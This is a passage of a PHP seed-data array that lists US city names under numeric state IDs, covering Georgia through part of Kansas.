=> '3931', 'name' => 'conyers'],\n ['state_id' => '3931', 'name' => 'cordele'],\n ['state_id' => '3931', 'name' => 'covington'],\n ['state_id' => '3931', 'name' => 'culloden'],\n ['state_id' => '3931', 'name' => 'cumming'],\n ['state_id' => '3931', 'name' => 'dacula'],\n ['state_id' => '3931', 'name' => 'dahlonega'],\n ['state_id' => '3931', 'name' => 'dallas'],\n ['state_id' => '3931', 'name' => 'dalton'],\n ['state_id' => '3931', 'name' => 'decatur'],\n ['state_id' => '3931', 'name' => 'dewy rose'],\n ['state_id' => '3931', 'name' => 'doraville'],\n ['state_id' => '3931', 'name' => 'douglas'],\n ['state_id' => '3931', 'name' => 'douglasville'],\n ['state_id' => '3931', 'name' => 'druid hills'],\n ['state_id' => '3931', 'name' => 'dublin'],\n ['state_id' => '3931', 'name' => 'duluth'],\n ['state_id' => '3931', 'name' => 'dunwoody'],\n ['state_id' => '3931', 'name' => 'east point'],\n ['state_id' => '3931', 'name' => 'elberton'],\n ['state_id' => '3931', 'name' => 'ellenwood'],\n ['state_id' => '3931', 'name' => 'ellijay'],\n ['state_id' => '3931', 'name' => 'evans'],\n ['state_id' => '3931', 'name' => 'fairmount'],\n ['state_id' => '3931', 'name' => 'fayetteville'],\n ['state_id' => '3931', 'name' => 'flowery branch'],\n ['state_id' => '3931', 'name' => 'folkston'],\n ['state_id' => '3931', 'name' => 'forest park'],\n ['state_id' => '3931', 'name' => 'fort benning south'],\n ['state_id' => '3931', 'name' => 'fort gordon'],\n ['state_id' => '3931', 'name' => 'fort stewart'],\n ['state_id' => '3931', 'name' => 'fort valley'],\n ['state_id' => '3931', 'name' => 'foxborough'],\n ['state_id' => '3931', 'name' => 'gaines school'],\n ['state_id' => '3931', 'name' => 'gainesville'],\n ['state_id' => '3931', 'name' => 'glennville'],\n ['state_id' => '3931', 'name' => 'gresham park'],\n ['state_id' => '3931', 'name' => 'griffin'],\n ['state_id' => '3931', 'name' => 'grovetown'],\n ['state_id' => '3931', 'name' => 'hampton'],\n ['state_id' => '3931', 'name' => 'hartwell'],\n ['state_id' => '3931', 'name' => 'hinesville'],\n ['state_id' => '3931', 'name' => 'jackson'],\n ['state_id' => '3931', 'name' => 'jonesboro'],\n ['state_id' => '3931', 'name' => 'kennesaw'],\n ['state_id' => '3931', 'name' => 'kingsland'],\n ['state_id' => '3931', 'name' => 'lagrange'],\n ['state_id' => '3931', 'name' => 'lawrenceville'],\n ['state_id' => '3931', 'name' => 'lilburn'],\n ['state_id' => '3931', 'name' => 'lithia springs'],\n ['state_id' => '3931', 'name' => 'lithonia'],\n ['state_id' => '3931', 'name' => 'locust grove'],\n ['state_id' => '3931', 'name' => 'loganville'],\n ['state_id' => '3931', 'name' => 'louisville'],\n ['state_id' => '3931', 'name' => 'mableton'],\n ['state_id' => '3931', 'name' => 'macon'],\n ['state_id' => '3931', 'name' => 'madison'],\n ['state_id' => '3931', 'name' => 'marietta'],\n ['state_id' => '3931', 'name' => 'martinez'],\n ['state_id' => '3931', 'name' => 'mcdonough'],\n ['state_id' => '3931', 'name' => 'milledgeville'],\n ['state_id' => '3931', 'name' => 'monroe'],\n ['state_id' => '3931', 'name' => 'morrow'],\n ['state_id' => '3931', 'name' => 'moultrie'],\n ['state_id' => '3931', 'name' => 'mountain'],\n ['state_id' => '3931', 'name' => 'mountain park'],\n ['state_id' => '3931', 'name' => 'newnan'],\n ['state_id' => '3931', 'name' => 'norcross'],\n ['state_id' => '3931', 'name' => 'north atlanta'],\n ['state_id' => '3931', 'name' => 'north decatur'],\n ['state_id' => '3931', 'name' => 'north druid hills'],\n ['state_id' => '3931', 'name' => 'oakwood'],\n ['state_id' => '3931', 'name' => 'panthersville'],\n ['state_id' => '3931', 'name' => 'peachtree city'],\n ['state_id' => '3931', 'name' => 'powder springs'],\n ['state_id' => '3931', 'name' => 'redan'],\n ['state_id' => '3931', 'name' => 'rex'],\n ['state_id' => '3931', 'name' => 'riverdale'],\n ['state_id' => '3931', 'name' => 'rome'],\n ['state_id' => '3931', 'name' => 'rossville'],\n ['state_id' => '3931', 'name' => 'roswell'],\n ['state_id' => '3931', 'name' => 'saint marys'],\n ['state_id' => '3931', 'name' => 'saint simons'],\n ['state_id' => '3931', 'name' => 'sandy springs'],\n ['state_id' => '3931', 'name' => 'savannah'],\n ['state_id' => '3931', 'name' => 'scottdale'],\n ['state_id' => '3931', 'name' => 'sharpsburg'],\n ['state_id' => '3931', 'name' => 'smyrna'],\n ['state_id' => '3931', 'name' => 'snellville'],\n ['state_id' => '3931', 'name' => 'sparks'],\n ['state_id' => '3931', 'name' => 'statesboro'],\n ['state_id' => '3931', 'name' => 'stockbridge'],\n ['state_id' => '3931', 'name' => 'stone mountain'],\n ['state_id' => '3931', 'name' => 'suwanee'],\n ['state_id' => '3931', 'name' => 'thomasville'],\n ['state_id' => '3931', 'name' => 'tifton'],\n ['state_id' => '3931', 'name' => 'tucker'],\n ['state_id' => '3931', 'name' => 'tybee island'],\n ['state_id' => '3931', 'name' => 'union city'],\n ['state_id' => '3931', 'name' => 'valdosta'],\n ['state_id' => '3931', 'name' => 'vidalia'],\n ['state_id' => '3931', 'name' => 'villa rica'],\n ['state_id' => '3931', 'name' => 'warner robins'],\n ['state_id' => '3931', 'name' => 'waycross'],\n ['state_id' => '3931', 'name' => 'wilmington island'],\n ['state_id' => '3931', 'name' => 'winder'],\n ['state_id' => '3931', 'name' => 'woodbine'],\n ['state_id' => '3931', 'name' => 'woodstock'],\n ['state_id' => '3932', 'name' => 'ahuimanu'],\n ['state_id' => '3932', 'name' => 'aiea'],\n ['state_id' => '3932', 'name' => 'aliamanu'],\n ['state_id' => '3932', 'name' => 'ewa beach'],\n ['state_id' => '3932', 'name' => 'haiku'],\n ['state_id' => '3932', 'name' => 'halawa'],\n ['state_id' => '3932', 'name' => 'hanalei'],\n ['state_id' => '3932', 'name' => 'hilo'],\n ['state_id' => '3932', 'name' => 'holualoa'],\n ['state_id' => '3932', 'name' => 'honolulu'],\n ['state_id' => '3932', 'name' => 'kahului'],\n ['state_id' => '3932', 'name' => 'kailua'],\n ['state_id' => '3932', 'name' => 'kalaheo'],\n ['state_id' => '3932', 'name' => 'kamuela'],\n ['state_id' => '3932', 'name' => 'kaneohe'],\n ['state_id' => '3932', 'name' => 'kaneohe station'],\n ['state_id' => '3932', 'name' => 'kapaa'],\n ['state_id' => '3932', 'name' => 'kapolei'],\n ['state_id' => '3932', 'name' => 'kihei'],\n ['state_id' => '3932', 'name' => 'kula'],\n ['state_id' => '3932', 'name' => 'lahaina'],\n ['state_id' => '3932', 'name' => 'lanai city'],\n ['state_id' => '3932', 'name' => 'lihue'],\n ['state_id' => '3932', 'name' => 'makaha'],\n ['state_id' => '3932', 'name' => 'makakilo city'],\n ['state_id' => '3932', 'name' => 'makawao'],\n ['state_id' => '3932', 'name' => 'mi-wuk village'],\n ['state_id' => '3932', 'name' => 'mililani town'],\n ['state_id' => '3932', 'name' => 'naalehu'],\n ['state_id' => '3932', 'name' => 'nanakuli'],\n ['state_id' => '3932', 'name' => 'pahoa'],\n ['state_id' => '3932', 'name' => 'pearl city'],\n ['state_id' => '3932', 'name' => 'schofield barracks'],\n ['state_id' => '3932', 'name' => 'wahiawa'],\n ['state_id' => '3932', 'name' => 'waialua'],\n ['state_id' => '3932', 'name' => 'waianae'],\n ['state_id' => '3932', 'name' => 'wailuku'],\n ['state_id' => '3932', 'name' => 'waimalu'],\n ['state_id' => '3932', 'name' => 'waipahu'],\n ['state_id' => '3932', 'name' => 'waipio'],\n ['state_id' => '3933', 'name' => 'blackfoot'],\n ['state_id' => '3933', 'name' => 'boise'],\n ['state_id' => '3933', 'name' => 'boise city'],\n ['state_id' => '3933', 'name' => 'boulder hill'],\n ['state_id' => '3933', 'name' => 'burley'],\n ['state_id' => '3933', 'name' => 'caldwell'],\n ['state_id' => '3933', 'name' => 'coeur d\\'alene'],\n ['state_id' => '3933', 'name' => 'eagle'],\n ['state_id' => '3933', 'name' => 'garden city'],\n ['state_id' => '3933', 'name' => 'idaho falls'],\n ['state_id' => '3933', 'name' => 'lewiston'],\n ['state_id' => '3933', 'name' => 'meridian'],\n ['state_id' => '3933', 'name' => 'moscow'],\n ['state_id' => '3933', 'name' => 'mountain home'],\n ['state_id' => '3933', 'name' => 'nampa'],\n ['state_id' => '3933', 'name' => 'payette'],\n ['state_id' => '3933', 'name' => 'pocatello'],\n ['state_id' => '3933', 'name' => 'post falls'],\n ['state_id' => '3933', 'name' => 'preston'],\n ['state_id' => '3933', 'name' => 'rexburg'],\n ['state_id' => '3933', 'name' => 'rigby'],\n ['state_id' => '3933', 'name' => 'sandpoint'],\n ['state_id' => '3933', 'name' => 'troy'],\n ['state_id' => '3933', 'name' => 'twin falls'],\n ['state_id' => '3934', 'name' => 'addison'],\n ['state_id' => '3934', 'name' => 'algonquin'],\n ['state_id' => '3934', 'name' => 'alsip'],\n ['state_id' => '3934', 'name' => 'alton'],\n ['state_id' => '3934', 'name' => 'arlington heights'],\n ['state_id' => '3934', 'name' => 'aurora'],\n ['state_id' => '3934', 'name' => 'bannockburn'],\n ['state_id' => '3934', 'name' => 'barrington'],\n ['state_id' => '3934', 'name' => 'bartlett'],\n ['state_id' => '3934', 'name' => 'batavia'],\n ['state_id' => '3934', 'name' => 'beach park'],\n ['state_id' => '3934', 'name' => 'beardstown'],\n ['state_id' => '3934', 'name' => 'bedford park'],\n ['state_id' => '3934', 'name' => 'belleville'],\n ['state_id' => '3934', 'name' => 'bellwood'],\n ['state_id' => '3934', 'name' => 'belvidere'],\n ['state_id' => '3934', 'name' => 'bensenville'],\n ['state_id' => '3934', 'name' => 'berwyn'],\n ['state_id' => '3934', 'name' => 'bloomingdale'],\n ['state_id' => '3934', 'name' => 'bloomington'],\n ['state_id' => '3934', 'name' => 'blue island'],\n ['state_id' => '3934', 'name' => 'boling brook'],\n ['state_id' => '3934', 'name' => 'bolingbrook'],\n ['state_id' => '3934', 'name' => 'bourbonnais'],\n ['state_id' => '3934', 'name' => 'bradley'],\n ['state_id' => '3934', 'name' => 'breese'],\n ['state_id' => '3934', 'name' => 'bridgeview'],\n ['state_id' => '3934', 'name' => 'brimfield'],\n ['state_id' => '3934', 'name' => 'broadview'],\n ['state_id' => '3934', 'name' => 'brookfield'],\n ['state_id' => '3934', 'name' => 'buffalo grove'],\n ['state_id' => '3934', 'name' => 'burbank'],\n ['state_id' => '3934', 'name' => 'burr ridge'],\n ['state_id' => '3934', 'name' => 'cahokia'],\n ['state_id' => '3934', 'name' => 'calumet city'],\n ['state_id' => '3934', 'name' => 'canton'],\n ['state_id' => '3934', 'name' => 'carbondale'],\n ['state_id' => '3934', 'name' => 'carlinville'],\n ['state_id' => '3934', 'name' => 'carol stream'],\n ['state_id' => '3934', 'name' => 'carpentersville'],\n ['state_id' => '3934', 'name' => 'carthage'],\n ['state_id' => '3934', 'name' => 'cary'],\n ['state_id' => '3934', 'name' => 'centralia'],\n ['state_id' => '3934', 'name' => 'champaign'],\n ['state_id' => '3934', 'name' => 'channahon'],\n ['state_id' => '3934', 'name' => 'charleston'],\n ['state_id' => '3934', 'name' => 'chicago'],\n ['state_id' => '3934', 'name' => 'chicago heights'],\n ['state_id' => '3934', 'name' => 'chicago ridge'],\n ['state_id' => '3934', 'name' => 'cicero'],\n ['state_id' => '3934', 'name' => 'coal city'],\n ['state_id' => '3934', 'name' => 'collinsville'],\n ['state_id' => '3934', 'name' => 'congerville'],\n ['state_id' => '3934', 'name' => 'country club hills'],\n ['state_id' => '3934', 'name' => 'crest hill'],\n ['state_id' => '3934', 'name' => 'crestwood'],\n ['state_id' => '3934', 'name' => 'crystal lake'],\n ['state_id' => '3934', 'name' => 'danville'],\n ['state_id' => '3934', 'name' => 'darien'],\n ['state_id' => '3934', 'name' => 'dekalb'],\n ['state_id' => '3934', 'name' => 'decatur'],\n ['state_id' => '3934', 'name' => 'deerfield'],\n ['state_id' => '3934', 'name' => 'des plaines'],\n ['state_id' => '3934', 'name' => 'dixon'],\n ['state_id' => '3934', 'name' => 'dolton'],\n ['state_id' => '3934', 'name' => 'downers grove'],\n ['state_id' => '3934', 'name' => 'earlville'],\n ['state_id' => '3934', 'name' => 'east dundee'],\n ['state_id' => '3934', 'name' => 'east moline'],\n ['state_id' => '3934', 'name' => 'east peoria'],\n ['state_id' => '3934', 'name' => 'east saint louis'],\n ['state_id' => '3934', 'name' => 'edwardsville'],\n ['state_id' => '3934', 'name' => 'effingham'],\n ['state_id' => '3934', 'name' => 'elburn'],\n ['state_id' => '3934', 'name' => 'elgin'],\n ['state_id' => '3934', 'name' => 'elk grove'],\n ['state_id' => '3934', 'name' => 'elk grove village'],\n ['state_id' => '3934', 'name' => 'elmhurst'],\n ['state_id' => '3934', 'name' => 'elmwood park'],\n ['state_id' => '3934', 'name' => 'evanston'],\n ['state_id' => '3934', 'name' => 'evergreen park'],\n ['state_id' => '3934', 'name' => 'fairview heights'],\n ['state_id' => '3934', 'name' => 'flossmoor'],\n ['state_id' => '3934', 'name' => 'forest park'],\n ['state_id' => '3934', 'name' => 'frankfort'],\n ['state_id' => '3934', 'name' => 'franklin park'],\n ['state_id' => '3934', 'name' => 'freeport'],\n ['state_id' => '3934', 'name' => 'galena'],\n ['state_id' => '3934', 'name' => 'galesburg'],\n ['state_id' => '3934', 'name' => 'geneva'],\n ['state_id' => '3934', 'name' => 'genoa'],\n ['state_id' => '3934', 'name' => 'glen carbon'],\n ['state_id' => '3934', 'name' => 'glen ellyn'],\n ['state_id' => '3934', 'name' => 'glencoe'],\n ['state_id' => '3934', 'name' => 'glendale heights'],\n ['state_id' => '3934', 'name' => 'glenview'],\n ['state_id' => '3934', 'name' => 'godfrey'],\n ['state_id' => '3934', 'name' => 'goodings grove'],\n ['state_id' => '3934', 'name' => 'granite city'],\n ['state_id' => '3934', 'name' => 'grayslake'],\n ['state_id' => '3934', 'name' => 'gurnee'],\n ['state_id' => '3934', 'name' => 'hamilton'],\n ['state_id' => '3934', 'name' => 'hampshire'],\n ['state_id' => '3934', 'name' => 'hanover park'],\n ['state_id' => '3934', 'name' => 'harvard'],\n ['state_id' => '3934', 'name' => 'harvey'],\n ['state_id' => '3934', 'name' => 'hawthorn woods'],\n ['state_id' => '3934', 'name' => 'hazel crest'],\n ['state_id' => '3934', 'name' => 'herrin'],\n ['state_id' => '3934', 'name' => 'hickory hills'],\n ['state_id' => '3934', 'name' => 'highland park'],\n ['state_id' => '3934', 'name' => 'hinsdale'],\n ['state_id' => '3934', 'name' => 'hoffman estates'],\n ['state_id' => '3934', 'name' => 'homewood'],\n ['state_id' => '3934', 'name' => 'huntley'],\n ['state_id' => '3934', 'name' => 'illinois city'],\n ['state_id' => '3934', 'name' => 'ingleside'],\n ['state_id' => '3934', 'name' => 'itasca'],\n ['state_id' => '3934', 'name' => 'jacksonville'],\n ['state_id' => '3934', 'name' => 'johnston city'],\n ['state_id' => '3934', 'name' => 'joliet'],\n ['state_id' => '3934', 'name' => 'justice'],\n ['state_id' => '3934', 'name' => 'kankakee'],\n ['state_id' => '3934', 'name' => 'kenilworth'],\n ['state_id' => '3934', 'name' => 'kewanee'],\n ['state_id' => '3934', 'name' => 'la grange'],\n ['state_id' => '3934', 'name' => 'la grange park'],\n ['state_id' => '3934', 'name' => 'la salle'],\n ['state_id' => '3934', 'name' => 'lake bluff'],\n ['state_id' => '3934', 'name' => 'lake forest'],\n ['state_id' => '3934', 'name' => 'lake zurich'],\n ['state_id' => '3934', 'name' => 'lake in the hills'],\n ['state_id' => '3934', 'name' => 'lansing'],\n ['state_id' => '3934', 'name' => 'lemont'],\n ['state_id' => '3934', 'name' => 'libertyville'],\n ['state_id' => '3934', 'name' => 'lincoln'],\n ['state_id' => '3934', 'name' => 'lincolnwood'],\n ['state_id' => '3934', 'name' => 'lindenhurst'],\n ['state_id' => '3934', 'name' => 'lindenwood'],\n ['state_id' => '3934', 'name' => 'lisle'],\n ['state_id' => '3934', 'name' => 'lockport'],\n ['state_id' => '3934', 'name' => 'lombard'],\n ['state_id' => '3934', 'name' => 'long grove'],\n ['state_id' => '3934', 'name' => 'loves park'],\n ['state_id' => '3934', 'name' => 'lyons'],\n ['state_id' => '3934', 'name' => 'machenry'],\n ['state_id' => '3934', 'name' => 'machesney park'],\n ['state_id' => '3934', 'name' => 'macomb'],\n ['state_id' => '3934', 'name' => 'marion'],\n ['state_id' => '3934', 'name' => 'markham'],\n ['state_id' => '3934', 'name' => 'marshall'],\n ['state_id' => '3934', 'name' => 'martinsville'],\n ['state_id' => '3934', 'name' => 'maryville'],\n ['state_id' => '3934', 'name' => 'matteson'],\n ['state_id' => '3934', 'name' => 'mattoon'],\n ['state_id' => '3934', 'name' => 'maywood'],\n ['state_id' => '3934', 'name' => 'mchenry'],\n ['state_id' => '3934', 'name' => 'melrose park'],\n ['state_id' => '3934', 'name' => 'midlothian'],\n ['state_id' => '3934', 'name' => 'milan'],\n ['state_id' => '3934', 'name' => 'minooka'],\n ['state_id' => '3934', 'name' => 'mokena'],\n ['state_id' => '3934', 'name' => 'moline'],\n ['state_id' => '3934', 'name' => 'momence'],\n ['state_id' => '3934', 'name' => 'montgomery'],\n ['state_id' => '3934', 'name' => 'monticello'],\n ['state_id' => '3934', 'name' => 'morris'],\n ['state_id' => '3934', 'name' => 'morton'],\n ['state_id' => '3934', 'name' => 'morton grove'],\n ['state_id' => '3934', 'name' => 'mossville'],\n ['state_id' => '3934', 'name' => 'mount prospect'],\n ['state_id' => '3934', 'name' => 'mount vernon'],\n ['state_id' => '3934', 'name' => 'mount zion'],\n ['state_id' => '3934', 'name' => 'mundelein'],\n ['state_id' => '3934', 'name' => 'naperville'],\n ['state_id' => '3934', 'name' => 'new lenox'],\n ['state_id' => '3934', 'name' => 'niles'],\n ['state_id' => '3934', 'name' => 'normal'],\n ['state_id' => '3934', 'name' => 'norridge'],\n ['state_id' => '3934', 'name' => 'north aurora'],\n ['state_id' => '3934', 'name' => 'north chicago'],\n ['state_id' => '3934', 'name' => 'northbrook'],\n ['state_id' => '3934', 'name' => 'northfield'],\n ['state_id' => '3934', 'name' => 'northlake'],\n ['state_id' => '3934', 'name' => 'o\\'fallon'],\n ['state_id' => '3934', 'name' => 'oak forest'],\n ['state_id' => '3934', 'name' => 'oak lawn'],\n ['state_id' => '3934', 'name' => 'oak park'],\n ['state_id' => '3934', 'name' => 'oakbrook'],\n ['state_id' => '3934', 'name' => 'oakwood'],\n ['state_id' => '3934', 'name' => 'olney'],\n ['state_id' => '3934', 'name' => 'orland park'],\n ['state_id' => '3934', 'name' => 'osco'],\n ['state_id' => '3934', 'name' => 'ottawa'],\n ['state_id' => '3934', 'name' => 'palatine'],\n ['state_id' => '3934', 'name' => 'palos heights'],\n ['state_id' => '3934', 'name' => 'palos hills'],\n ['state_id' => '3934', 'name' => 'park forest'],\n ['state_id' => '3934', 'name' => 'park ridge'],\n ['state_id' => '3934', 'name' => 'pekin'],\n ['state_id' => '3934', 'name' => 'peoria'],\n ['state_id' => '3934', 'name' => 'peru'],\n ['state_id' => '3934', 'name' => 'plainfield'],\n ['state_id' => '3934', 'name' => 'pontiac'],\n ['state_id' => '3934', 'name' => 'princeton'],\n ['state_id' => '3934', 'name' => 'prospect heights'],\n ['state_id' => '3934', 'name' => 'quincy'],\n ['state_id' => '3934', 'name' => 'ramsey'],\n ['state_id' => '3934', 'name' => 'rantoul'],\n ['state_id' => '3934', 'name' => 'richmond'],\n ['state_id' => '3934', 'name' => 'richton park'],\n ['state_id' => '3934', 'name' => 'river forest'],\n ['state_id' => '3934', 'name' => 'riverdale'],\n ['state_id' => '3934', 'name' => 'rochelle'],\n ['state_id' => '3934', 'name' => 'rock island'],\n ['state_id' => '3934', 'name' => 'rockford'],\n ['state_id' => '3934', 'name' => 'rolling meadows'],\n ['state_id' => '3934', 'name' => 'romeoville'],\n ['state_id' => '3934', 'name' => 'roscoe'],\n ['state_id' => '3934', 'name' => 'roselle'],\n ['state_id' => '3934', 'name' => 'round lake beach'],\n ['state_id' => '3934', 'name' => 'saint charles'],\n ['state_id' => '3934', 'name' => 'sauget'],\n ['state_id' => '3934', 'name' => 'sauk village'],\n ['state_id' => '3934', 'name' => 'schaumburg'],\n ['state_id' => '3934', 'name' => 'schiller park'],\n ['state_id' => '3934', 'name' => 'shumway'],\n ['state_id' => '3934', 'name' => 'skokie'],\n ['state_id' => '3934', 'name' => 'south elgin'],\n ['state_id' => '3934', 'name' => 'south holland'],\n ['state_id' => '3934', 'name' => 'spring valley'],\n ['state_id' => '3934', 'name' => 'springfield'],\n ['state_id' => '3934', 'name' => 'sterling'],\n ['state_id' => '3934', 'name' => 'streamwood'],\n ['state_id' => '3934', 'name' => 'streator'],\n ['state_id' => '3934', 'name' => 'swansea'],\n ['state_id' => '3934', 'name' => 'sycamore'],\n ['state_id' => '3934', 'name' => 'taylorville'],\n ['state_id' => '3934', 'name' => 'tinley park'],\n ['state_id' => '3934', 'name' => 'trenton'],\n ['state_id' => '3934', 'name' => 'urbana'],\n ['state_id' => '3934', 'name' => 'ursa'],\n ['state_id' => '3934', 'name' => 'vernon hills'],\n ['state_id' => '3934', 'name' => 'villa park'],\n ['state_id' => '3934', 'name' => 'walnut'],\n ['state_id' => '3934', 'name' => 'warrenville'],\n ['state_id' => '3934', 'name' => 'washington'],\n ['state_id' => '3934', 'name' => 'waukegan'],\n ['state_id' => '3934', 'name' => 'west chicago'],\n ['state_id' => '3934', 'name' => 'west dundee'],\n ['state_id' => '3934', 'name' => 'westchester'],\n ['state_id' => '3934', 'name' => 'western springs'],\n ['state_id' => '3934', 'name' => 'westmont'],\n ['state_id' => '3934', 'name' => 'wheaton'],\n ['state_id' => '3934', 'name' => 'wheeling'],\n ['state_id' => '3934', 'name' => 'willowbrook'],\n ['state_id' => '3934', 'name' => 'wilmette'],\n ['state_id' => '3934', 'name' => 'winnebago'],\n ['state_id' => '3934', 'name' => 'winnetka'],\n ['state_id' => '3934', 'name' => 'wood dale'],\n ['state_id' => '3934', 'name' => 'wood river'],\n ['state_id' => '3934', 'name' => 'woodridge'],\n ['state_id' => '3934', 'name' => 'woodstock'],\n ['state_id' => '3934', 'name' => 'worth'],\n ['state_id' => '3934', 'name' => 'zion'],\n ['state_id' => '3935', 'name' => 'albion'],\n ['state_id' => '3935', 'name' => 'anderson'],\n ['state_id' => '3935', 'name' => 'angola'],\n ['state_id' => '3935', 'name' => 'auburn'],\n ['state_id' => '3935', 'name' => 'bedford'],\n ['state_id' => '3935', 'name' => 'beech grove'],\n ['state_id' => '3935', 'name' => 'bloomington'],\n ['state_id' => '3935', 'name' => 'brownsburg'],\n ['state_id' => '3935', 'name' => 'carmel'],\n ['state_id' => '3935', 'name' => 'cedar lake'],\n ['state_id' => '3935', 'name' => 'chesterton'],\n ['state_id' => '3935', 'name' => 'clarksville'],\n ['state_id' => '3935', 'name' => 'columbus'],\n ['state_id' => '3935', 'name' => 'connersville'],\n ['state_id' => '3935', 'name' => 'crawfordsville'],\n ['state_id' => '3935', 'name' => 'crown point'],\n ['state_id' => '3935', 'name' => 'dyer'],\n ['state_id' => '3935', 'name' => 'east chicago'],\n ['state_id' => '3935', 'name' => 'elkhart'],\n ['state_id' => '3935', 'name' => 'evansville'],\n ['state_id' => '3935', 'name' => 'fishers'],\n ['state_id' => '3935', 'name' => 'fort wayne'],\n ['state_id' => '3935', 'name' => 'frankfort'],\n ['state_id' => '3935', 'name' => 'franklin'],\n ['state_id' => '3935', 'name' => 'gary'],\n ['state_id' => '3935', 'name' => 'goshen'],\n ['state_id' => '3935', 'name' => 'gosport'],\n ['state_id' => '3935', 'name' => 'granger'],\n ['state_id' => '3935', 'name' => 'greenfield'],\n ['state_id' => '3935', 'name' => 'greensburg'],\n ['state_id' => '3935', 'name' => 'greenwood'],\n ['state_id' => '3935', 'name' => 'griffith'],\n ['state_id' => '3935', 'name' => 'hammond'],\n ['state_id' => '3935', 'name' => 'helmsburg'],\n ['state_id' => '3935', 'name' => 'highland'],\n ['state_id' => '3935', 'name' => 'hobart'],\n ['state_id' => '3935', 'name' => 'huntington'],\n ['state_id' => '3935', 'name' => 'indianapolis'],\n ['state_id' => '3935', 'name' => 'jasper'],\n ['state_id' => '3935', 'name' => 'jeffersonville'],\n ['state_id' => '3935', 'name' => 'knightstown'],\n ['state_id' => '3935', 'name' => 'kokomo'],\n ['state_id' => '3935', 'name' => 'la porte'],\n ['state_id' => '3935', 'name' => 'lafayette'],\n ['state_id' => '3935', 'name' => 'lake station'],\n ['state_id' => '3935', 'name' => 'lawrence'],\n ['state_id' => '3935', 'name' => 'lebanon'],\n ['state_id' => '3935', 'name' => 'liberty'],\n ['state_id' => '3935', 'name' => 'logansport'],\n ['state_id' => '3935', 'name' => 'madison'],\n ['state_id' => '3935', 'name' => 'marion'],\n ['state_id' => '3935', 'name' => 'martinsville'],\n ['state_id' => '3935', 'name' => 'merrillville'],\n ['state_id' => '3935', 'name' => 'michigan city'],\n ['state_id' => '3935', 'name' => 'mishawaka'],\n ['state_id' => '3935', 'name' => 'muncie'],\n ['state_id' => '3935', 'name' => 'munster'],\n ['state_id' => '3935', 'name' => 'n. albany'],\n ['state_id' => '3935', 'name' => 'nashville'],\n ['state_id' => '3935', 'name' => 'new albany'],\n ['state_id' => '3935', 'name' => 'new castle'],\n ['state_id' => '3935', 'name' => 'new haven'],\n ['state_id' => '3935', 'name' => 'new trenton'],\n ['state_id' => '3935', 'name' => 'noblesville'],\n ['state_id' => '3935', 'name' => 'north vernon'],\n ['state_id' => '3935', 'name' => 'osceola'],\n ['state_id' => '3935', 'name' => 'peru'],\n ['state_id' => '3935', 'name' => 'plainfield'],\n ['state_id' => '3935', 'name' => 'plymouth'],\n ['state_id' => '3935', 'name' => 'poland'],\n ['state_id' => '3935', 'name' => 'portage'],\n ['state_id' => '3935', 'name' => 'richmond'],\n ['state_id' => '3935', 'name' => 'rising sun'],\n ['state_id' => '3935', 'name' => 'roanoke'],\n ['state_id' => '3935', 'name' => 'rockport'],\n ['state_id' => '3935', 'name' => 'schererville'],\n ['state_id' => '3935', 'name' => 'scottsburg'],\n ['state_id' => '3935', 'name' => 'seymour'],\n ['state_id' => '3935', 'name' => 'shelbyville'],\n ['state_id' => '3935', 'name' => 'south bend'],\n ['state_id' => '3935', 'name' => 'speedway'],\n ['state_id' => '3935', 'name' => 'st. john'],\n ['state_id' => '3935', 'name' => 'terre haute'],\n ['state_id' => '3935', 'name' => 'thorntown'],\n ['state_id' => '3935', 'name' => 'tippecanoe'],\n ['state_id' => '3935', 'name' => 'troy'],\n ['state_id' => '3935', 'name' => 'valparaiso'],\n ['state_id' => '3935', 'name' => 'vermont'],\n ['state_id' => '3935', 'name' => 'vincennes'],\n ['state_id' => '3935', 'name' => 'wabash'],\n ['state_id' => '3935', 'name' => 'warsaw'],\n ['state_id' => '3935', 'name' => 'washington'],\n ['state_id' => '3935', 'name' => 'west lafayette'],\n ['state_id' => '3935', 'name' => 'williams'],\n ['state_id' => '3936', 'name' => 'altoona'],\n ['state_id' => '3936', 'name' => 'ames'],\n ['state_id' => '3936', 'name' => 'ankeny'],\n ['state_id' => '3936', 'name' => 'bettendorf'],\n ['state_id' => '3936', 'name' => 'boone'],\n ['state_id' => '3936', 'name' => 'burlington'],\n ['state_id' => '3936', 'name' => 'carroll'],\n ['state_id' => '3936', 'name' => 'cedar falls'],\n ['state_id' => '3936', 'name' => 'cedar rapids'],\n ['state_id' => '3936', 'name' => 'clarinda'],\n ['state_id' => '3936', 'name' => 'clinton'],\n ['state_id' => '3936', 'name' => 'clive'],\n ['state_id' => '3936', 'name' => 'coralville'],\n ['state_id' => '3936', 'name' => 'council bluffs'],\n ['state_id' => '3936', 'name' => 'davenport'],\n ['state_id' => '3936', 'name' => 'des moines'],\n ['state_id' => '3936', 'name' => 'dubuque'],\n ['state_id' => '3936', 'name' => 'eldridge'],\n ['state_id' => '3936', 'name' => 'elkader'],\n ['state_id' => '3936', 'name' => 'essex'],\n ['state_id' => '3936', 'name' => 'fairfield'],\n ['state_id' => '3936', 'name' => 'fayette'],\n ['state_id' => '3936', 'name' => 'fort dodge'],\n ['state_id' => '3936', 'name' => 'fort madison'],\n ['state_id' => '3936', 'name' => 'harlan'],\n ['state_id' => '3936', 'name' => 'indianola'],\n ['state_id' => '3936', 'name' => 'iowa city'],\n ['state_id' => '3936', 'name' => 'kalona'],\n ['state_id' => '3936', 'name' => 'keokuk'],\n ['state_id' => '3936', 'name' => 'marion'],\n ['state_id' => '3936', 'name' => 'marshalltown'],\n ['state_id' => '3936', 'name' => 'mason city'],\n ['state_id' => '3936', 'name' => 'muscatine'],\n ['state_id' => '3936', 'name' => 'newton'],\n ['state_id' => '3936', 'name' => 'orange city'],\n ['state_id' => '3936', 'name' => 'oskaloosa'],\n ['state_id' => '3936', 'name' => 'ottumwa'],\n ['state_id' => '3936', 'name' => 'pella'],\n ['state_id' => '3936', 'name' => 'sioux city'],\n ['state_id' => '3936', 'name' => 'spencer'],\n ['state_id' => '3936', 'name' => 'storm lake'],\n ['state_id' => '3936', 'name' => 'urbandale'],\n ['state_id' => '3936', 'name' => 'waterloo'],\n ['state_id' => '3936', 'name' => 'west des moines'],\n ['state_id' => '3937', 'name' => 'arkansas city'],\n ['state_id' => '3937', 'name' => 'atchison'],\n ['state_id' => '3937', 'name' => 'coffeyville'],\n ['state_id' => '3937', 'name' => 'derby'],\n ['state_id' => '3937', 'name' => 'dodge city'],\n ['state_id' => '3937', 'name' => 'el dorado'],\n ['state_id' => '3937', 'name' => 'elk city'],\n ['state_id' => '3937', 'name' => 'emporia'],\n ['state_id' => '3937', 'name' => 'fort riley north'],\n ['state_id' => '3937', 